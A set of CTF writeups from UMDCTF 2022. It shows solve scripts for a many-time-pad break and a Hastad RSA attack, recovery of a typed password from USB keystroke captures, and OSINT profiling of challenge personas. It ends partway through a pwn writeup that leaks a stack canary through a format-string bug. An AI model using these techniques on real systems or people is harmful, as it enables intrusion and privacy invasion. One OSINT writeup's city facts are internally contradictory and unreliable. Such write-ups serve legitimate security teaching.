UMDCTF 2022

These are our writeups for the challenges presented in this year's UMDCTF.

Categories index
Crypto - Forensics - Hw/rf - Misc - Osint - Pwn - Rev - Web

Sources

Sources and other assets will be available shortly in the official repo.


Crypto

MTP

One-time pad? More like multiple-time pad ;)

NOTE: You can assume that the plaintexts are grammatically-correct English sentences
Attachments: encrypt.py, ciphertexts.txt

import random
from binascii import unhexlify, hexlify

KEY_LEN = 30

key = []
for _ in range(KEY_LEN):
    key.append(random.randrange(0,255))

with open('plaintexts.txt', 'r') as f:
    pts = f.read().strip().split('\n')

cts = []
for pt in pts:
    ct_bytes = []
    for i in range(len(pt)):
        ct_bytes.append(ord(pt[i]) ^ key[i])
    cts.append(bytes(ct_bytes))

with open('ciphertexts.txt', 'w') as f:
    for ct in cts:
        f.write(hexlify(ct).decode() + '\n')

The challenge provides us with 8 ciphertexts that are encrypted with the same random key.

Each plaintext is supposed to have the same length as the key.

The key is just composed of 30 random bytes.

Since the key remains the same each time a plaintext is encrypted, letters of different plaintexts but in the same position can be grouped as they are XORed with the same key-byte.

The plaintexts are in plain English; therefore, to gain some insight and potentially recover some bytes of the key, we tried the following idea. When the correct byte of the key is found, the result of the xor with each letter in the group will return a valid ASCII character.

In each group, every letter of the group is XORed with all possible values (0,254). Only the values that resulted in an ASCII char for each letter are saved as potential candidates for the key.

KEY_LEN = 30
key_ranges = [[x for x in range(255)] for _ in range(KEY_LEN)]

alphabet = [char for char in (string.ascii_letters + ' ')]

cts = [
    'c909eb881127081823ecf53b383e8b6cd1a8b65e0b0c3bacef53d83f80fb',
    'cf00ec8a5635095d33bfa12a317bc2789eabf95e090c29abe81dd4339ffb',
    'c700ec851e72124b6afef52c3f37cf2bcda9f74202426fa2f54f9c3797fb',
    'cd0ebe8718365b4f2bebb6277039c469dfecf05419586fb4f658dd2997fb',
    'c341ff8b562114552ff0bb2a702cc3649ea0ff5a085f6fb0f51dd93b86f4',
    'da13f1801321085738bf9e2e24218b7fdfb9f159190c22a1ba49d43381fb',
    'cb0df2c63f721c573ebfba21702fc36e9ea9ee50000c38a5e91ddd7ab0fb',
    'c913e796023d1c4a2befbd367032d82bdfecf55e02406fa7f548ce2997f4'
]

for ct in cts:
    _ct = unhexlify(ct)
    for key_idx in range(KEY_LEN):
        key_possible_values = key_ranges[key_idx]
        to_remove = []
        for possible in key_possible_values:
            if chr(_ct[key_idx] ^ possible) not in alphabet:
                to_remove.append(possible)
        for char in to_remove:
            key_ranges[key_idx].remove(char)

print(key_ranges)

The results are rather surprising. Even when only using an alphabet composed of letters and space, 23 bytes of the key have only one candidate.

Starting from there and continuing with a bit of logic, the other 7 bytes can be guessed for the not fully decrypted ciphertexts.

# Solution key = [138, 97,158,230,118, 82, 123, 56, 74,159,213, 79, 80, 91,171, 11,190,204,150, 49,109, 44, 79,196,154, 61,188, 90,242,213]
KEY=[  0, 97,158,230,118, 82, 123, 56, 74,159,213,  0, 80, 91,171, 11,190,204,150,  0,  0, 44, 79,  0,154, 61,188, 90,  0,  0]

for ct in cts:
    _ct = unhexlify(ct)
    print(''.join([chr(_ct[i] ^ KEY[i]) if KEY[i] != 0 else '_' for i in range(30)]))

Take the MD5 of all 8 plaintexts concatenated together and wrap it in the flag format to get the flag.

🏁 UMDCTF{0a46e0b2b19dc21b5c15435653ffed67}

snowden

Eddy is sending encrypted messages out, but we can’t quite figure out what he is saying.
nc 0.cloud.chals.io 30279

Upon connecting, the server greets us with:

Eddy Snowden setup a beacon constantly transmitting an encrypted secret message, but he is always changing the public key for some reason.

Then it lets us intercept many messages in the form (n, e, c), which is RSA, as in playbook RSA.

All these intercepted messages have an e that’s a prime in the range (21, 31). This is pretty low and opens a chance for an Hastad Attack. With $e$ different keys each having the same $e$ and each encrypting the same message, it is possible to use the CRT to obtain $m^e$.

Given a small exponent, $\sqrt[e]{m}$ can be calculated easily with Sage and a script like this.

from pwn import *
import json

r = remote('0.cloud.chals.io', 30279)

count = 0
with open('messages.txt', 'w') as f:
    while True:
        r.sendline(b'y')
        r.recvuntil(b'(y/n) ', True)
        msg_json = r.recvline().decode().strip().replace("'", '"')
        msg = json.loads(msg_json)

        if msg['e'] == 21:
            f.write(str(msg['n']) + ':' + str(msg['c']) + '\n')
            f.flush()
            count += 1
            if count == 21:
                break
        else:
            continue

    r.close()
from Crypto.Util.number import long_to_bytes

def hastads(cArray,nArray,e):
    """
    Performs Hastads attack on raw RSA with no padding.
    cArray = Ciphertext Array
    nArray = Modulus Array
    e = public exponent
    """

    if(len(cArray)==len(nArray)==e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
        M = crt(cArray,nArray)
        return(Integer(M).nth_root(e,truncate_mode=1))
    else:
        print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")

m = hastads([ ... ], [ ... ], 21)
print(long_to_bytes(m[0]))

🏁 UMDCTF{y0u_r3ally_kn0w_y0ur_br04dc45t_4tt4ck!}


Forensics

Blue

Larry gave me this python script and an image. What is she trying to tell me?
Attachments: bluer.png, steg.py

We are given the image bluer.png (apparently completely blue) and a python script. Let’s take a look at the script:

from PIL import Image
import random

filename = 'blue.png'
orig_image = Image.open(filename)
pixels = orig_image.load()
width, height = orig_image.size

with open('flag.txt', 'r') as f:
    flag = f.read().strip()

for y in range(len(flag)):
    for a in range(ord(flag[y])):
        x = random.randrange(0, width - 1)
        c = random.randrange(0, 3)
        pixel = list(orig_image.getpixel((x, y)))
        pixel[c] += 1
        pixels[x, y] = (pixel[0], pixel[1], pixel[2])

orig_image.save('bluer.png')

It read the flag from a file, and then it uses it to modify the image blue.png. In particular for each row of pixels of the image it increases by one, for n times, the value of one of the three channels (randomly chosen) of one pixel in the row (randomly chosen). The number n is the ascii decimal value of one character of the flag; the same operation is executed for l times, where l is the length of the flag. For example: if the i_th char of the flag is ‘a’, the i_th row of pixels of the image is considered and for 97 times (decimal value of a) random pixels are changed in the way explained previously.

Analysing the image bluer.png we can see that almost all the pixels have the channels values [34, 86, 166] so each variation wrt these values means that the corresponding pixel has been modified. We can check how many variations there are for each row to recover the flag.

blue

Script:

from PIL import Image

orig_image = Image.open('bluer.png')
width, height = orig_image.size
flag = []
for y in range(60):
    count = 0
    for x in range(width):
        pixel = list(orig_image.getpixel((x, y)))
        if pixel[0] != 34:
            count += (pixel[0] - 34)
        if pixel[1] != 86:
            count += (pixel[1] - 86)
        if pixel[1] != 166:
            count += (pixel[2] - 166)
    flag.append(count)
    print(pixel)
print(''.join([chr(i) for i in flag]))

🏁 UMDCTF{L4rry_L0v3s_h3r_st3g0nogr@phy_89320}

How to Breakdance

My friend ctf_playah has been learning to breakdance, can you find his youtube password? Upon submission, wrap his password with UMDCTF{}.

We are provided with a .pcapng file that contains USB traffic. Based on previous experience on similar challenges, I decided to check if in the capture there was some USB keyboard traffic. Opening the capture in wireshark and applying a simple filter we can actually see what seems to be keyboard traffic:

usb

In order to get the text written in the usb communication I used the tool ctf-usb-keyboard-parser. As specified by the tool doc I executed:

tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt

The text extracted was:

best breakdancing vidwos ⌫⌫⌫⌫eos on the iternt⌫et ⌫
hoo to lean breakdancing in one day
ctf_playah
<flag_appears_here>
⌫⌫https://www.youtube.com/watch?v=7j5-u7hS0fs
This is it!The tutorial Ihave been waitinf for ⌫⌫⌫⌫⌫⌫g for my whole life!

🏁 UMDCTF{1_luv_70_f1nd_c7f_fl46s}

jdata

no shade… but also…
Attachments: jdata.zip

The zip file contains a photo with a part of the flag and a bunch of random Chinese characters.

initial image

As this challenge is in the forensics category, the next step was to run binwalk and check for hidden files.

The image didn’t contain any hidden files. Fortunately, as a joke, instead of jumping right into other techniques, such as steganography, we also tried analyzing the zip file itself. To our surprise, an ELF binary was concealed inside it at offset 0. This “joke” saved us quite the time, which we would have otherwise spent uselessly poking the distracting image.

The main function just showed an ASCII art of Chungus. Looking through the exported symbols revealed a function called hehe. This function just called a bunch of other functions, functions whose names read backward revealed the flag.

hehe function

A tad of bash magic here and there, and…

objdump --disassemble=hehe _jdata.zip.extracted/0 | egrep -o "\<.\>" | tr -d "\n" | rev

> umdctfghidraisforbinariesbroand

🏁 UMDCTF{ghidraisforbinariesbroandpubl1sh_s0m3_r3al_w0rk}

Renzik’s Case

My friend deleted important documents off of my flash drive, can you help me find them?

We are given an image of a flash drive.

I mount the image file and I don’t see nothing interesting

list content

But the text of the challenge give me a clue:

My friend deleted important documents....

The clue leads me to search for deleted files.

So I can use Foremost, a forensic program to recover lost files:

$ foremost -t all -i ../Renziks_Case/usb.img

Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Sat Mar  5 10:37:42 2022
Invocation: foremost -t all -i ../Renziks_Case/usb.img
Output directory: /mnt/diskCTF/ctf/umdctf2022/renziks case/usbrecover/output
Configuration file: /etc/foremost.conf

File: ../Renziks_Case/usb.img
Start: Sat Mar  5 10:37:42 2022
Length: 1 GB (2003828736 bytes)

Num  Name (bs=512)         Size  File Offset     Comment

0:  00003584.jpg         397 KB      1835008
1:  00004416.jpg          65 KB      2260992
2:  00004736.jpg          23 KB      2424832
3:  00004800.gif           2 KB      2457600     (540 x 540)
4:  00004608.png          41 KB      2359296     (256 x 223)
5:  00006272.png         384 KB      3211264     (1024 x 561)
6:  00007104.png          12 KB      3637248     (240 x 240)
7:  00007616.png          34 KB      3899392     (1920 x 1080)
Finish: Sat Mar  5 10:38:30 2022

8 FILES EXTRACTED

jpg:= 3
gif:= 1
png:= 4

Foremost finished at Sat Mar  5 10:38:30 2022

And I can see one more image: the flag.

blue

🏁 UMDCTF{Sn00p1N9_L1K3_4_Sl317h!}

Xorua

When Fred put his Zorua in the Driftveil City Pokecenter’s PC something a bit strange happened. Can you help him figure out what happened?
Attachments: After.png, Before.png

In this challenge we have two images, named Before.png and After.png. The name of the challenge is a clear hint that make think about the XOR operation. So I checked the first bytes of the After.png file:

xorua

The first bytes, the png header, are all zero. This supports the XOR hypothesis because the xor of the two images would give another image (png header xored with 0 keep the png header). Making the xor between Before.png and After.png gives us an image with the flag.

from pwn import *

with open('Before (1).png', 'rb') as before:
    content = before.read()

with open('After (1).png', 'rb') as after:
    content2 = after.read()

res = xor(content, content2)

with open('flag.png', 'wb') as flag:
    flag.write(res)

🏁 UMDCTF{Sh4p3Sh1ft3R}


HW/RF

Gee, queue are ex?

Oh the wonderful world of radio frequency.. what can you see?
Attachments: painter.iq

This challenge was giving out some nice hints that a modern amateur radio operator could pick up quite easily:

  • The name of the challenge itself was wordplay on GQRX, a known SDR interface, and probably the QRX acronym (see Q Code) itself.
  • Judging by its extension, the attached file could have been raw I/Q data. (Funnily enough, file was spitting out painter.iq: OpenPGP Public Key)

Converting the raw data into audio and piping it through sox by fiddling with the arguments to get a readable spectrum would have been boring - nonchalantly sweeps shell history file under the rug - and thus the occasion was perfect to pretend to know exactly what each GNURadio block does.

GNURadio project

With some slight processing (skipping the initial junk present at the start of the stream, filtering the part of the spectrum that has interesting contents, playing with the sample rate due to the absence of hardware flow control) it became evident that the flag was being painted on the waterfall character by character.

GNURadio GUI

With that knowledge, a proper spectrogram could be generated:

sox -t raw -r 500000 -e float -b 32 painter.iq -n trim 189 1157 rate 100k spectrogram -X 6

Spectrogram

After the CTF ended, the admins confirmed that the signal had been partially generated with spectrum_painter and, to introduce some realistic fading and noise, transmitted and re-recorded with an RTL-SDR and an HackRF. Clever!

🏁 UMDCTF{D15RUP7_R4D1OZ}

Minetest 1 - Digital Logic Primer

Join the server to checkout the minetest challenges. You do not need to solve one before the other!

This challenge was straightforward for those who have ever seen basic logic ports, yet it was quick & funny to solve: once you logged into the CTF’s Minetest server you could navigate to a series of rooms containing different logic ports each. By interacting with special blocks you could turn on and off each port’s input lines, and when you solved all the rooms the flag would appear on an in-game screen at the end of the path.

We later learned that many players modded their clients to move quicker, fly, glitch through walls and so on to solve challenges faster or peek into enclosed mechanisms. Nice trick!

Minetest 2 - MUX

Join the server to checkout the minetest challenges. You do not need to solve one before the other!

In this challenge we had to connect to the same minetest server of the Minetest 1 challenge, there were eight closed rooms where the circuit shown in the gif below was placed. We couldnt access the rooms, we only had access to the 4 inputs and the only output (the red dot in the gif).

The flag was composed of 24 bits and to get the complete flag we had to solve all the eight rooms, therefore three bits for room (s1, s2, s3).

logic gate animation

To find the bits s1, s2 and s3, we wrote a simple script that given a four bits input returns the possible sequence of (s1, s2, s3) that lit the lamp, the script had to be executed multiple times for room because every input could return more than one sequence of (s1, s2, s3).

import sys

i = []
i = list(map(int, sys.stdin.readline().split(' ')))
lamp = 1
signals = [(0, 0, 0), (1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 1, 0), (0, 1, 1), (1, 0, 1), (1, 1, 1)]
for signal in signals:
    muxA = i[2] if signal[0] == 0 else i[3]
    muxB = i[0] if signal[1] == 0 else i[1]
    muxC = muxB if signal[2] == 0 else muxA
    x = (muxA and not muxB) or (not muxA and muxB)
    a = x and muxC
    if a == lamp:
        print(f"FOUND : {s}")

🏁 UMDCTF{101111100000011011111000}


Misc

Blockchain 1 - Hashcash

Gary has an email service, but he hates spammers, so he implemented Hashcash.

Connecting to the challenge we receive this:

Welcome to Gary's email service. Gary has setup Hashcash because we've been getting a lot
of emails lately. He said something about bitcoin and blockchain, but all that mumbo jumbo
doesn't make sense to me. He said you should get a confirmation message after passing the
Hashcash mechanism.

ver = 1
leading zero bits = 20
date format = YYMMDD

Here is a list of the emails on our network:
- gary@hashcash.com           - cheshirecatalytic@hashcash.com
- birch@hashcash.com          - dewy@hashcash.com
- shricubed@hashcash.com      - triakontakai@hashcash.com
- wittsend2@hashcash.com      - artemis19@hashcash.com
- jsfleming@hashcash.com      - mykale@hashcash.com
- amanthanvi@hashcash.com     - ptrip9199@hashcash.com
- ishaan514@hashcash.com      - mmohades@hashcash.com
- angcheng27@hashcash.com     - suryaviyyapu@hashcash.com
- nickfroehl@hashcash.com     - yieb@hashcash.com
- cybercyber2@hashcash.com    - sm00thcriminal96@hashcash.com
- ai-ya-ya@hashcash.com

Would you like to send an email (y/n)?
y   <-- our input
X-Hashcash:

We are provided a link, https://en.wikipedia.org/wiki/Hashcash, that explain the hashcash proof-of-work system. The X-Hashcash refers to the hashcash header that should be of this type:

X-Hashcash: 1:20:1303030600:anni@cypherspace.org::McMybZIhxKXu57jd:ckvi

In the wiki page provided we can find explanation of each field (: separated):

  • ver: Hashcash format version, 1 (which supersedes version 0).
  • bits: Number of “partial pre-image” (zero) bits in the hashed code.
  • date: The time that the message was sent, in the format YYMMDD[hhmm[ss]]. <– valid if within two days of the current date
  • resource: Resource data string being transmitted, e.g., an IP address or email address.
  • ext: Extension (optional; ignored in version 1).
  • rand: String of random characters, encoded in base-64 format.
  • counter: Binary counter, encoded in base-64 format.

In order to create a valid message the sender prepares a header and appends a counter value initialized to a random number. It then computes the 160-bit SHA-1 hash of the header. If the first 20 bits (i.e. the 5 most significant hex digits) of the hash are all zeros, then this is an acceptable header. If not, then the sender increments the counter and tries the hash again. The only thing that we can try is to create a valid message to one of the provided mails. The only criteria we need to respect are:

  • Use a valid date: within two days of the current date
  • The 5 most significant hex digits have to be 0
  • The mail is registered in the network

Such a string is easy to create, and the server after receiving and checking the hashcash gives us the flag.

moon

Script:

import base64
from Crypto.Hash import SHA1

count = 0
while True:
    h = SHA1.new()
    hashcash = '1:20:220305:gary@hashcash.com::McMybZIhxKXu57jd:'
    countb64 = base64.b64encode(str(count).encode())
    h.update(hashcash.encode() + countb64)
    print(h.hexdigest())
    if h.hexdigest()[:5] == '00000':
        print(hashcash.encode() + countb64)
        break
    count += 1

🏁 UMDCTF{H@sh_c4sH_1s_th3_F@th3r_0f_pr00f_0f_w0rk}

Blockchain 2 - ChungusCoin

Chungus Coin is a PoW blockchain that holds indefinite value. There is a reward for those who mine!
NOTE: The PoW required for this blockchain is {p0}{p1} s.t.
p0 = proof of previous block
p1 = proof of block being created
sha256(f'{p0}{p1}')\[:5] == '00000'

The python server application is based on this post

The interesting part is in the update of the chain with a new node. When the chain is correctly updated the flag is printed out. To update the chain a new valid block must be appended.

@app.route('/nodes/update', methods=['POST'])
def consensus():
    values = request.get_json()
    length = values['length']
    challenger_chain = values['chain']
    name = values['name']

    if (length - len(blockchain.chain) == 1) and        # new chain must be 1 block longer
       (blockchain.valid_chain(challenger_chain)) and   # new chain must be valid
       (len(challenger_chain) == length) and            # actual length = specified length
       not (name in blockchain.names):                  # name not alredy taken

        blockchain.chain = challenger_chain
        with open('flag.txt', 'r') as f:
            data = str(f.read().strip())

        response = {
            'message': 'We have updated our chain with your new block :)',
            'new_chain': blockchain.chain,
            'reward': f"1337 Chungus Coin and the real prize: {data}"
        }
        blockchain.names.append(name)
        blockchain.pending_transactions = []
        blockchain.new_transaction("0", 'name', 1337)
    else:
        response = {
            'message': 'The chain shall remain the same',
            'chain': blockchain.chain
        }

    return jsonify(response), 200

The valid_chain(chain) function does the following checks:

def valid_chain(self, chain):
    # Determine if a given blockchain is valid
    last_block = chain[0]
    if last_block['proof'] != REDACTED or last_block['previous_hash'] != 1:
        print("Invalid genesis block")
        return False

    current_index = 1
    while current_index < len(chain):
        block = chain[current_index]

        print(f'{last_block}\n')
        print(f'{block}')
        print("\n-----------\n")

        # Check that the hash of the block is correct
        if block['previous_hash'] != self.hash(last_block):
            print("invalid hash")
            return False

        # Check that the Proof of Work is correct
        if not self.valid_proof(last_block['proof'], block['proof']):
            print("invalid proof")
            return False

        # Check that index of block is correct
        if current_index + 1 != block['index']:
            print("invalid index")
            return False

        # Check that timestamps aren't wack
        if last_block['timestamp'] > block['timestamp']:
            print("invalid timestamp")
            return False

        last_block = block
        current_index += 1

    # Check for valid transactions
    if self.pending_transactions != last_block['transactions']:
        print("invalid transactions")
        return False

    return True

With a somewhat understanding of how the server works, the only piece left to start forging is the the block format

{
    "index": 4,
    "previous_hash": "...",
    "proof": 370520,
    "timestamp": 1.9996931348623157e+308,
    "transactions": [
        {"amount":1337,"recipient":"drMoscovium","sender":"0"},
        ...
    ]
}

To start off, get the current chain status with GET /chain

{
    "chain": [ blocks... ],
    "length": len(chain)
}

Let’s start building our forged block:

  • index: last block index + 1
  • previous_hash: apply the following function to the last block received

      def hash(block):
          block_string = json.dumps(block, sort_keys=True).encode()
          h_hash = hashlib.sha256(block_string).hexdigest()
          return h_hash
    
  • proof: find a valid proof that respect the constraints also described in the description.

      import hashlib
    
      proof_old = 888273
      proof_cur = 0
    
      while True:
          # sha256(f'{p0}{p1}')[:5] == '00000'
          hash = hashlib.sha256(f'{proof_old}{proof_cur}'.encode()).hexdigest()
          if hash[:5] == '00000':
              print(hash)
              print(proof_cur)
              exit(0)
          proof_cur += 1
    
  • timestamp: copy the last block timestamp and increase it slightly as the servers checks there’s a temporal continuity
  • transactions: The server checks that the block actually solves all pending transactions

      # Check for valid transactions
      if self.pending_transactions != last_block['transactions']:
          print("invalid transactions")
          return False
    

    Therefore we should call the GET /pending_transactions endpoint which returns the list of pending transactions that we insert in our forged request.

With our newly forged block, take the chain previously retrieved and

  • append the block in chain
  • increase length by 1
  • add name property with an unique string

Send the chain to POST /nodes/update and get the flag!

🏁 UMDCTF{Chungus_Th4nk5_y0u_f0r_y0ur_bl0ckch41n_s3rv!c3}

ChungusBot v2

Check out my code!

In this challenge we have to interact with the discord bot ChungusBot v2.

As suggested by the challenge description we need to search the source code of the bot. It can be easily found on github, in this UMDSEC repo: https://github.com/UMD-CSEC/ChungusBot_v2. We can see from the code that every command of the bot starts with “Oh Lord Chungus please “ and in particular we are interested in the command “tellme theflag”. The bot tells us the flag only if we pass 2 checks:

def check2(hmm):
    something = int(hmm.split(':')[-1].split('.')[0])
    if (something > 45 and something < 50) or (something > 14 and something < 19):
        return True
    return False

def check1(av):
    r = requests.get(str(av), stream = True)
    if r.status_code == 200:
        r.raw.decode_content = True
        filename = str(str(av).split("/")[-1].split('?')[0])
        path = f'./downloaded_files/{filename}'
        with open(path,'wb') as f:
            shutil.copyfileobj(r.raw, f)
    else:
        return False, "Could not grab your pfp for some reason"

    img1 = list(Image.open('chungus_changed.jpg').convert("1").getdata())
    img2 = list(Image.open(path).convert("1").getdata())

    os.system(f"rm {path}")

    bigger = len(img1)
    if bigger > len(img2):
        bigger = len(img2)

    try:
        count = 0
        for i in range(bigger):
            if img1[i] == img2[i]:
                count += 1
    except:
        return False, "Image size not the same"

    message = "Percentage of pixels correct: " + str(count / len(img1))
    if count / len(img1) > 0.92:
        return True, message
    elif count / len(img1) > 0.6:
        return False, message
    else:
        return False, f"Images are not the same ({100 * count / len(img1)}%)"

Check1 verifies that our profile picture on Discord is at least 92% equal to the bot’s one. In order to pass this check we can use the command “tellme avatar” which gives us the following image.

chungus_mod

The image correspond to the bot’s picture but it’s modified. With not so much effort we can adjust it, using Gimp, to pass the check.

chungus_ok

After setting the right profile picture we only have to pass check2, sending the command at a time hh:mm:ss such that the seconds ss are in the ranges 15-18 or 46-49.

🏁 UMDCTF{Chungus_15_wh0_w3_str1v3_t0_b3c0m3}

RSI 1

A friend of mine left me a mysterious file from a game he was playing.
Attachments: tutorial.osr

In this challenge we were given a replay file of the game OSU. OSU game

If we analyze the given file with hexdump or a similar tool we can right away observe that the bytes that should represent the replay are not correct according to the official table shown below: OSR file data table

Analyzing the file with binwalk we observe that it is an LZMA file so with the command shown below we obtain the extracted file.

binwalk -e tutorial.osr

Analyzing it with strings gives us the flag.

RSI 1 Flag

🏁 UMDCTF{wE1c0m3_t0_o5u!}

RSI 2

I got addicted to the game, and my friend left me another one of his cool replays.
Attachments: big_b.osr

As in the previous writeup (RSI 1) we have a .osr file that we can analyze with the same method. After getting the extracted file, we don’t get the flag as before but we are given a set of coordinates. Looking at those we can see that some don’t respect the osu s shown below:

OSU coordinates constraints

Finally with some scripting we can parse the coordinates, taking only the correct ones, and render the output image:

import matplotlib.pyplot as plt

def validate_coord(coord):
    length = len(coord) == 4 and int(coord[0]) > 0
    if length:
        x = 0 <= float(coord[1]) <= 512
        y = 0 <= float(coord[2]) <= 384
        return x and y
    return False

with open("_big_b.osr.extracted/7F") as replay_raw:
    coords_raw = replay_raw.readline().split(',')

coords_raw = [tuple(x.split('|')) for x in coords_raw]
coords_raw = [t for t in coords_raw if validate_coord(t)]

coords = []
for t in coords_raw:
    coords.append((int(t[0]), float(t[1]), float(t[2]), int(t[3])))

x, y = [p[1] for p in coords], [-p[2] for p in coords]

plt.scatter(x, y)
plt.show()

The result is shown here: RS2-Flag

🏁 UMDCTF{CL1CK_TO_THE_B3AT}


OSINT

Justina 1

After Justin’s adventure in Russia, his sister, Justina Zimmerman has scurried off somewhere and we need to find her. There must be a way to see what she has been up to. Justin might even be able to help us.

The challenge gives us a photo and little information about Justina Zimmerman: she has scurried off somewhere, she has 3 social profiles and she has a brother called Justin. The first thing we did is searching justina zimmerman on google. The first result was Justina’s Facebook account:

justina

The profile contains more info about justina: she just graduated from university of Maryland and she decided to take a trip. There is also a link to a private group with this description.

I like to tell people what I’m up to here. I felt like taking a spontaneous trip :) ONLY FRIENDS AND FAMILY! My mods will only accept people who prove they know me. Any bad requests will be denied or automatically tossed if some questions were not answered.

To prove we knew Justina we had to answer 3 questions:

  1. How do you know Justina?

  2. What is Justina’s favorite TV show?

    • Friends
    • Game of Thrones
    • Silicon Valley
    • The Office
    • Vampire Diaries
  3. Who is Justina’s favorite artist?

    • Taylor Swift
    • Justin Bieber
    • Harry Styles
    • Ed Sheeran
    • The Weekend

We could answer to first question (we met her at university of Maryland) but unfortunately on facebook there was no more useful information, so we needed to find the other two profiles. After a lot of researches, on every existing social media, we couldn’t find anything. Probably Justina Zimmerman wasn’t the right username. Therefore, we decided to search Justin, Justina’s brother. We easily found him on Facebook too.

justin

Most of the information was related to the 2021 edition of UMDCTF, but we noticed something interesting. Justin’s nickname was Justin Zimmerman (Zimmy Boi). Since the challenge description told us Justin would have helped us we tried to search Justina Zimmy. Bingo! We found the two remaining accounts on Instagram and Twitter. On these accounts we found the info on Justina’s favourite singer and favourite tv show, respectively Justin Bieber and The Vampires Diary. With all the info gathered we could enter Justina’s private facebook group. The first post on the group is an event called “Meetup @ my place”, whose description contained the flag.

🏁 UMDCTF{w3lc0me_t0_th3_l1f3_0f_Just1n@}

Justina 2

Can you figure out which city Justina has been staying in? Hopefully we can find her soon!

Flag Format: UMDCTF{City_Name_Country}

Upon entering the Life of Justina Facebook group, after the initial messages that stating her(?) intentions to go on a trip, there are some images of her first trip of February 27.

Among the six images, only the one at the airport terminal seemed the right candidate for reverse image lookup.

airport

Running the image through yandex.ru did, in fact, reveal the Airport in question.

🏁 UMDCTF{Wagga_Wagga_Australia}

Justina 3

I think Justina is going to another place! I can’t keep up with her. Help me find her.

Flag Format: UMDCTF{City_Name_Country}

Justina just can’t seem to decide where to settle down. Once again, it’s our job to find her throughout the world.

With the proper jam in the background to properly boost our adventurer spirit … ♫ We’re going on a trip, on our favorite rocket ship ♫ … we’re ready to explore the messages from March 5.

As the text from these new images suggests; our friend Justina, who doesn’t even know how to spell McCafé, is now somewhere in France.

This time, we went with the stadium image to try and guess the exact France city.

stadium

Wikipedia has a handy list with each stadium in France. Comparing them with our image resulted in just 3 possibilities. Trying all 3 possible solutions was enough to find the correct city, which is…

🏁 UMDCTF{Auxerre_France}

Justina 4

I’ve been chatting with Justina as she travels, and she is settling down with her french boyfriend. They are even having a kid! I want to send her a baby shower gift but I don’t know what to get her… She told me there is some online registry for gifts but it’s under her boyfriends name. Can you find the registry online?

Having previously found her Instagram and Twitter accounts, this last part of the Justina’s Adventures Saga was relatively easy.

On her Instagram account, under the tagged photos, there was one with his “boyfriend” promptly posted by him. The description of his account revealed his full name.

John Pierre

The challenge description stated that the registry is under the boyfriend’s name. Searching John Pierre registry, the first result led us to the final piece of the puzzle, a link on babylist.

The password is on Justina’s last post on Twitter.

Babylist password

🏁 UMDCTF{w3_L0v3_0ur_babyyyyyyy}

ketchup

I took a picture with this guy a few years ago but I forgot his name! Can you tell me who he is?
Attachments: ketchup.png

This is the initial image

ketchup start

Using pimeyes multiple times, and re-analyzing the results; after 2 pass we find a better image.

ketchup end

Running this image through Yandex Image Search reveals a link to a news article in which there is the name of this mysterious man (look at the flag for the answer).

P.S. The challenge is named ketchup as the name of the man it’s the same as a famous ketchup brand. Gotcha!

🏁 UMDCTF{heinz_paus}

Outdoors 1

My friend Jason Heyson recently got into live-streaming. He’s been streaming a place in his hometown, but he won’t give me the link! It must be related to the environment, the outdoors, or real life given my current context. Can you find his stream for me?

The description gave two subtle clues:

  1. live-streaming - Twitch is the main streaming platform
  2. It must be related to the environment, the outdoors, or real life - On Twitch there are many categories, maybe there is one for VLOG style streams?

Travel & Outdoors” is indeed a category on Twitch. Skimming through the live streams started near the CTF start, there was one from “son_of_hey” that sounds much like the Jason Heyson from the description.

In the viewers list there was this account which name is the flag encoded in hex.

🏁 UMDCTF{yeet}

Outdoors 2

Thank you for finding the livestream. It looks like Jason must have moved because I do not recognize the the place he is streaming at all! Can you give me the address of the orangeish building on the live stream?

This is a screen of the stream

rocky mountains

In the top right part of the orangeish building there’s a Canadian flag.

Searching through images of Rocky Mountain Canada we find that this is Canmore, Alberta.

Google Maps be praised, that building is the Canmore Civic Center which address is the flag.

🏁 UMDCTF{902_7_avenue_canmore}

Unaccounted For Co-Worker

Help! My co-worker hasn’t showed up to work for the past week and my boss wants me to find out where he went. I know that he took an American Airlines flight from the “Mile High City” to the city with the largest historic theatre district on February 24th. A couple days later, I heard he took a train northwest 8 stops from Union Station. Can you tell me the aircraft type and the final destination city?

In order to find the co-worker airline you must search first what’s this “ Mile High City “ and what was the city with the largest history theater district on the February 24th ( is it just me or it’s suspiciously specific ?).

A simple google search will go and you’ll find out that the first city is Denver and the arrive city and that the theater district was in fact the Broadway Theatre District located in LA.

Once you know this info a simple google search that spells out “flight from denver to las vegas aircraft type” will smack you in the face with the first half of the key!

The second part consists in looking up a site that will allow you to see all the train stops from LA, this will do, now you’ll just have to follow what the CTF asked you and count 8 train stops from the Union Station.

If you end up in Camarillo you made the same exact mistake I did and counted the first station as a stop ( don’t worry you’re not alone ).

Now with all those infos you’ll be able to build your cool flag:

🏁 UMDCTF{A320_oxnard}


Pwn

Classic Act

Pwning your friends is a class act. So why not do it to some random server?
Attachments: classicact

In this challenge we are given the unstripped 64-bit binary classicat. The checksec command reveals that all the protections except the PIE are active. After decompiling with ghidra we find out that the main contains the vuln function, which has the following decompiled code:

bool vuln(void) {
  int iVar1;
  long in_FS_OFFSET;
  char name [16];
  char like [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Please enter your name!");
  gets(name);
  puts("Hello:");
  printf(name);
  putchar(10);
  puts("What would you like to do today?");
  gets(like);
  iVar1 = strncmp(like,"Play in UMDCTF!",0xf);
  if (iVar1 != 0) {
    puts("Good luck doing that!");
  }
  else {
    puts("You have come to the right place!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

There are clearly 2 vulnerabilities in this code: the format string vulnerability in printf(name) and the buffer overflow on gets. Exploiting these vulnerabilities we can do almost whatever we want, so the challenge seems to be a classic ret2libc attack.

The first thing to do is to leak the canary to fully exploit the buffer overflow, the format string helps us with that. Watching the stack with pwndbg we can see this:

stack

With a few tests we can easily find that the canary is 0x58 bytes from our controlled input and we can leak it through printf with printf('%19$lx').

